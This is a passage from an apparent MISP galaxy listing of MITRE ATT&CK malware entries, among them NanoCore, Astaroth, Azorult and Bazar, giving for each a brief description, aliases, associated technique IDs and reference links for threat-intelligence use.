- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5576. Table References

Links
https://attack.mitre.org/software/S0335
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/

NOKKI - S0353

[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)

The tag is: *misp-galaxy:mitre-malware="NOKKI - S0353"*

NOKKI - S0353 is also known as:

- NOKKI

View relationships graph

NOKKI - S0353 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 5577. Table References

Links
https://attack.mitre.org/software/S0353
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

NanoCore - S0336

[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)

The tag is: *misp-galaxy:mitre-malware="NanoCore - S0336"*

NanoCore - S0336 is also known as:

- NanoCore

View relationships graph

NanoCore - S0336 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5578. Table References

Links
https://attack.mitre.org/software/S0336
https://cofense.com/nanocore-rat-resurfaced-sewers/
https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://www.digitrustgroup.com/nanocore-not-your-average-rat/

Astaroth - S0373

[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)

The tag is: *misp-galaxy:mitre-malware="Astaroth - S0373"*

Astaroth - S0373 is also known as:

- Astaroth
- Guildma

View relationships graph

Astaroth - S0373 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1598.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5579. Table References

Links
https://attack.mitre.org/software/S0373
https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/
https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research

BadPatch - S0337

[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)

The tag is: *misp-galaxy:mitre-malware="BadPatch - S0337"*

BadPatch - S0337 is also known as:

- BadPatch

View relationships graph

BadPatch - S0337 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5580. Table References

Links

https://attack.mitre.org/software/S0337
https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/

FlawedGrace - S0383

[FlawedGrace](https://attack.mitre.org/software/S0383) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)

The tag is: *misp-galaxy:mitre-malware="FlawedGrace - S0383"*

FlawedGrace - S0383 is also known as:

- FlawedGrace

View relationships graph

FlawedGrace - S0383 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5581. Table References

Links
https://attack.mitre.org/software/S0383
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

Micropsia - S0339

[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)

The tag is: *misp-galaxy:mitre-malware="Micropsia - S0339"*

Micropsia - S0339 is also known as:

- Micropsia

View relationships graph

Micropsia - S0339 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5582. Table References

Links
https://attack.mitre.org/software/S0339
https://blog.radware.com/security/2018/07/micropsia-malware/
https://blog.talosintelligence.com/2017/06/palestine-delphi.html

PowerStallion - S0393

[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)

The tag is: *misp-galaxy:mitre-malware="PowerStallion - S0393"*

PowerStallion - S0393 is also known as:

- PowerStallion

View relationships graph

PowerStallion - S0393 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

Table 5583. Table References

Links
https://attack.mitre.org/software/S0393
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

MESSAGETAP - S0443

[MESSAGETAP](https://attack.mitre.org/software/S0443) is a data mining malware family deployed by [APT41](https://attack.mitre.org/groups/G0096) into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords. (Citation: FireEye MESSAGETAP October 2019)

The tag is: *misp-galaxy:mitre-malware="MESSAGETAP - S0443"*

MESSAGETAP - S0443 is also known as:

- MESSAGETAP

View relationships graph

MESSAGETAP - S0443 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5584. Table References

Links
https://attack.mitre.org/software/S0443
https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html

Azorult - S0344

[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016. In July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)

The tag is: *misp-galaxy:mitre-malware="Azorult - S0344"*

Azorult - S0344 is also known as:

- Azorult

View relationships graph

Azorult - S0344 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5585. Table References

Links
https://attack.mitre.org/software/S0344
https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

PLEAD - S0435

[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two. [PLEAD](https://attack.mitre.org/software/S0435) was observed in use as early as March 2017.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018)

The tag is: *misp-galaxy:mitre-malware="PLEAD - S0435"*

PLEAD - S0435 is also known as:

- PLEAD

View relationships graph

PLEAD - S0435 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5586. Table References

Links
https://attack.mitre.org/software/S0435
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html

Bazar - S0534

[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)

The tag is: *misp-galaxy:mitre-malware="Bazar - S0534"*

Bazar - S0534 is also known as:

- Bazar
- KEGTAP
- Team9

View relationships graph

Bazar - S0534 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1055.013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
